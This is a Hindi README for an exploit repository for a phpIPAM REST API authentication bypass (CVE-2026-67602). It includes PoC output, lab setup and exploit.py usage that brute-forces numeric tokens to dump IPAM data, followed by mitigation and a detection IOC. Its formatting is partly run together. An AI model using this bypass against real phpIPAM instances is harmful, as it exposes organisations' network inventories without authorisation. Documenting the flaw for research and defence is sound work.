
# CVE-2026-67602 के लिए एक्सप्लॉइट और PoC phpIPAM REST API में ऑब्जेक्ट-कैश कुंजी टकराव के माध्यम से प्रमाणीकरण बायपास, जिसमें लॉजिक-स्तरीय PoC और रिमोट एक्सप्लॉइट स्क्रिप्ट शामिल है।
phpIPAM REST API में बिना प्रमाणीकरण के प्रमाणीकरण बाईपास, जो ऑब्जेक्ट-कैश कुंजी टकराव के कारण होता है: किसी API ऐप के app_id को हल करते समय कैश की गई डेटाबेस पंक्ति, बाद के app_code (टोकन) जांच को संतुष्ट करती है जब भी आपूर्ति किया गया टोकन पंक्ति के संख्यात्मक id के बराबर होता है। ऐप का वास्तविक गुप्त कोड कभी तुलना नहीं किया जाता।
AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:N)app_security = ssl_code वाले REST API ऐप्सd29728f)| फ़ाइल | उद्देश्य |
|---|---|
poc_cache_collision.php | लॉजिक-स्तरीय PoC। एक स्टब किए गए डेटाबेस के विरुद्ध शब्दशः कमजोर (v1.8.1) और ठीक किए गए (1.8.2) fetch_object/cache_check/cache_write कार्यान्वयन चलाता है और एक HTTP अनुरोध के सटीक फ़ेच अनुक्रम को दोहराता है। किसी phpIPAM इंस्टॉल की आवश्यकता नहीं है। |
exploit.py | लाइव phpIPAM < 1.8.2 इंस्टेंस के विरुद्ध रिमोट एक्सप्लॉइट: मान्य app_ids की गणना करता है (400 बनाम 401), संख्यात्मक टोकन को ब्रूट-फोर्स करता है (आमतौर पर id 1-3), और वैकल्पिक रूप से sections/subnets/VLANs/devices डंप करता है। |
docker-compose.yml | कमजोर लैब: phpIPAM v1.8.1 + MariaDB, IPAM_TRUST_X_FORWARDED=true के साथ सादा HTTP ताकि ssl_code ऐप्स को X-Forwarded-Proto हेडर के माध्यम से परीक्षण किया जा सके। |
$ php poc_cache_collision.php vulnerable
[1] fetch_object('api','app_id','client') -> row id=2, app_security=ssl_code
[2] fetch_object('api','app_code','2') (phpipam-token header) -> OBJECT (cache hit!)
[3] $app_id == $app_temp->app_id -> AUTHENTICATED
$ php poc_cache_collision.php fixed
[2] fetch_object('api','app_code','2') (phpipam-token header) -> false
[3] Response: 401 Unauthorized — token rejected
$ docker compose up -d
http://localhost:8080/ पर ब्राउज़ करें, इंस्टॉलर पर आगे बढ़ें
(http://localhost:8080/install/), स्वचालित डेटाबेस
इंस्टॉलेशन चुनें, MySQL उपयोगकर्ता root / पासवर्ड phpipamAdminRoot।admin / admin), संकेत मिलने पर नया एडमिन पासवर्ड सेट करें।app_id): clientएक्सप्लॉइट चलाएं (--xfp फ्लैग HTTPS जांच को
X-Forwarded-Proto के माध्यम से संतुष्ट करता है, जिस पर लैब भरोसा करता है):
$ python3 exploit.py http://localhost:8080 --app-id client --xfp --dump
[*] Target: http://localhost:8080
[*] Brute-forcing numeric tokens (row ids) 1..64 for app_id='client'...
[+] AUTHENTICATION BYPASSED — phpipam-token: 1 is accepted
[+] The app's real 32-char app_code was never needed.
[+] GET /api/client/sections/ -> HTTP 200, 1 section(s) readable
[*] Dumping IPAM data...
d29728f)।ssl_code API ऐप्स को अक्षम या पुन: कॉन्फ़िगर करें (अन्य
सुरक्षा मोड इस कैश टकराव से प्रभावित नहीं हैं)।/api/<app_id>/... के अनुरोधों की जांच करें
जिनमें विशुद्ध रूप से संख्यात्मक phpipam-token हेडर हो — वैध टोकन
32-वर्ण यादृच्छिक स्ट्रिंग होते हैं, इसलिए संख्यात्मक टोकन उच्च-विश्वसनीयता IOC हैं।यह रिपॉजिटरी केवल रक्षात्मक अनुसंधान और अधिकृत पैठ परीक्षण के लिए है। इसे केवल उन सिस्टमों के विरुद्ध चलाएं जिनके आप मालिक हैं या जिनके परीक्षण के लिए आपके पास लिखित अनुमति है।